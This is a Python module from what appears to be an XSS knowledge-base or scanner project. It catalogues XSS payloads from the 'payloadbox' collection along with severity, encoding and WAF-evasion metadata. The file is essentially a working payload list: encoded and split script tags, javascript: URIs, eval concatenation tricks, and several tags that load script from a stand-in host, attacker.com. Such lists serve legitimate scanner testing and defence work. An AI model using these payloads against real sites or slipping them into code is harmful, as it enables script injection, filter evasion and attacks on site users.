#!/usr/bin/env python3

"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Unique XSS techniques from payloadbox collection.
Only techniques not covered by primary sources.
"""

from ..models import Encoding, PayloadEntry, Reliability, Severity


PAYLOADBOX_XSS = {
    # === Unicode Fullwidth Characters ===
    "pb-unicode-fullwidth-script": PayloadEntry(
        payload="'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'",
        contexts=["html_content", "url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Unicode fullwidth < > characters for script tag",
        tags=["payloadbox", "unicode", "fullwidth", "bypass"],
        reliability=Reliability.LOW,
        encoding=Encoding.UNICODE,
        waf_evasion=True,
    ),
    "pb-unicode-fullwidth-encoded": PayloadEntry(
        payload="%EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E",
        contexts=["url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="URL encoded fullwidth unicode script",
        tags=["payloadbox", "unicode", "fullwidth", "url"],
        reliability=Reliability.LOW,
        encoding=Encoding.UNICODE,
        waf_evasion=True,
    ),
    # === WBR Tag Splitting ===
    "pb-wbr-img-src": PayloadEntry(
        payload="<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="WBR tag breaking string in javascript",
        tags=["payloadbox", "wbr", "split", "bypass"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "pb-wbr-entity-full": PayloadEntry(
        payload="<IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="WBR splitting HTML entities",
        tags=["payloadbox", "wbr", "entity", "split"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "pb-wbr-padded-decimal": PayloadEntry(
        payload="<IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="WBR with zero-padded decimal entities",
        tags=["payloadbox", "wbr", "decimal", "padded"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_DECIMAL,
        waf_evasion=True,
    ),
    "pb-wbr-hex-entities": PayloadEntry(
        payload="<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="WBR with hex entities",
        tags=["payloadbox", "wbr", "hex", "entity"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_PADDED_HEX,
        waf_evasion=True,
    ),
    # === CDATA XML Attacks ===
    "pb-cdata-script": PayloadEntry(
        payload="<![CDATA[<script>var n=0;while(true){n++;}</script>]]>",
        contexts=["html_content", "xml"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="CDATA wrapped script (infinite loop DoS)",
        tags=["payloadbox", "cdata", "xml", "dos"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    "pb-cdata-split-script": PayloadEntry(
        payload='<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(1);<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>',
        contexts=["xml"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="CDATA splitting script tag characters",
        tags=["payloadbox", "cdata", "xml", "split"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Character Encoding Variations ===
    "pb-jav-space-ascript": PayloadEntry(
        payload="<IMG SRC=\"jav ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Space in javascript keyword (legacy)",
        tags=["payloadbox", "space", "javascript", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "pb-jav-tab-entity": PayloadEntry(
        payload="<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Tab entity in javascript keyword",
        tags=["payloadbox", "tab", "entity", "javascript"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "pb-jav-newline-entity": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Newline entity in javascript keyword",
        tags=["payloadbox", "newline", "entity", "javascript"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "pb-jav-cr-entity": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Carriage return entity in javascript",
        tags=["payloadbox", "cr", "entity", "javascript"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    # === Decimal Entity Padding ===
    "pb-entity-decimal-padded-full": PayloadEntry(
        payload="<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Zero-padded decimal entities (7 digits)",
        tags=["payloadbox", "entity", "decimal", "padding"],
        reliability=Reliability.HIGH,
        encoding=Encoding.HTML_DECIMAL,
        waf_evasion=True,
    ),
    "pb-entity-hex-full": PayloadEntry(
        payload="<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Full hex entity encoded javascript:alert",
        tags=["payloadbox", "entity", "hex", "full"],
        reliability=Reliability.HIGH,
        encoding=Encoding.HTML_PADDED_HEX,
        waf_evasion=True,
    ),
    # === URL Encoding Variations ===
    "pb-url-double-quote-break": PayloadEntry(
        payload=">%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>",
        contexts=["url", "html_attribute"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="URL encoded quote breaking with img",
        tags=["payloadbox", "url", "quote", "break"],
        reliability=Reliability.HIGH,
        encoding=Encoding.URL,
        waf_evasion=True,
    ),
    "pb-url-full-alert": PayloadEntry(
        payload="<svg/onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="URL encoded decimal entities for alert",
        tags=["payloadbox", "url", "entity", "alert"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.URL,
        waf_evasion=True,
    ),
    "pb-url-hex-alert": PayloadEntry(
        payload="<svg onload=%26%2397%3balert%26%2340%3b1%26%2341%3b>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="URL + entity encoded alert call",
        tags=["payloadbox", "url", "entity", "mixed"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    # === Body Background ===
    "pb-body-background": PayloadEntry(
        payload="<BODY BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Body background attribute javascript",
        tags=["payloadbox", "body", "background", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === Iframe Unclosed ===
    "pb-iframe-unclosed": PayloadEntry(
        payload="<iframe src=http://attacker.com/xss.html <",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Unclosed iframe consuming following content",
        tags=["payloadbox", "iframe", "unclosed", "consuming"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "pb-img-unclosed": PayloadEntry(
        payload="<IMG SRC=\"javascript:alert('XSS')\"",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Unclosed img tag",
        tags=["payloadbox", "img", "unclosed"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === String Concat Split ===
    "pb-string-plus-concat": PayloadEntry(
        payload='"><s"%2b"cript>alert(1)</script>',
        contexts=["html_attribute"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="String concatenation with URL encoded +",
        tags=["payloadbox", "concat", "url", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.URL,
        waf_evasion=True,
    ),
    # === Marquee with Emoticon ===
    "pb-marquee-emoticon": PayloadEntry(
        payload="<marquee onstart='javascript:alert(1);'>=(^_^)=</marquee>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Marquee onstart with emoticon content",
        tags=["payloadbox", "marquee", "onstart"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    # === Special Input Types ===
    "pb-input-image-src": PayloadEntry(
        payload='<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Input type image with javascript src",
        tags=["payloadbox", "input", "image", "src"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === Script SRC Variations ===
    "pb-script-external-jpg": PayloadEntry(
        payload='<SCRIPT SRC="http://attacker.com/xss.jpg"></SCRIPT>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with .jpg extension (content-type bypass)",
        tags=["payloadbox", "script", "external", "extension"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === Malformed IMG ===
    "pb-img-malformed-quotes": PayloadEntry(
        payload='<IMG """><SCRIPT>alert("XSS")</SCRIPT>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Malformed img with script injection",
        tags=["payloadbox", "img", "malformed", "script"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Control Character Injection ===
    "pb-control-char-14": PayloadEntry(
        payload="<IMG SRC=\" &#14;  javascript:alert('XSS');\">",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Control character &#14; before javascript",
        tags=["payloadbox", "control", "entity", "bypass"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    # === Script Attribute Variations ===
    "pb-script-xss-attr": PayloadEntry(
        payload='<SCRIPT/XSS SRC="http://attacker.com/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with /XSS attribute separator",
        tags=["payloadbox", "script", "attribute", "bypass"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "pb-script-slash-src": PayloadEntry(
        payload='<SCRIPT/SRC="http://attacker.com/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with slash before SRC",
        tags=["payloadbox", "script", "slash", "bypass"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Hash Injection ===
    "pb-script-hash": PayloadEntry(
        payload='<script src="#">{alert(1)}</script>;1',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script src # with block execution",
        tags=["payloadbox", "script", "hash", "block"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === Form Actions ===
    "pb-form-button-formaction": PayloadEntry(
        payload='<form id="test" /><button form="test" formaction="javascript:alert(1)">CLICK</button>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Form button with formaction javascript",
        tags=["payloadbox", "form", "button", "formaction"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Embed/Object Data ===
    "pb-embed-swf": PayloadEntry(
        payload='<EMBED SRC="http://attacker.com/xss.swf" AllowScriptAccess="always"></EMBED>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Embed SWF with AllowScriptAccess (legacy)",
        tags=["payloadbox", "embed", "swf", "flash", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    "pb-object-base64": PayloadEntry(
        payload='<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Object with base64 data URL",
        tags=["payloadbox", "object", "data", "base64"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.BASE64,
    ),
    "pb-embed-base64": PayloadEntry(
        payload='<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Embed with base64 data URL",
        tags=["payloadbox", "embed", "data", "base64"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.BASE64,
    ),
    # === Eval Concatenation ===
    "pb-eval-concat": PayloadEntry(
        payload='a="get";b="URL(ja\\"";c="vascr";d="ipt:ale";e="rt(1);\\")";eval(a+b+c+d+e);',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Eval with string concatenation bypass",
        tags=["payloadbox", "eval", "concat", "bypass"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Document Write Split ===
    "pb-document-write-split": PayloadEntry(
        payload='<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker.com/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Document.write splitting script tag",
        tags=["payloadbox", "document.write", "split"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
}
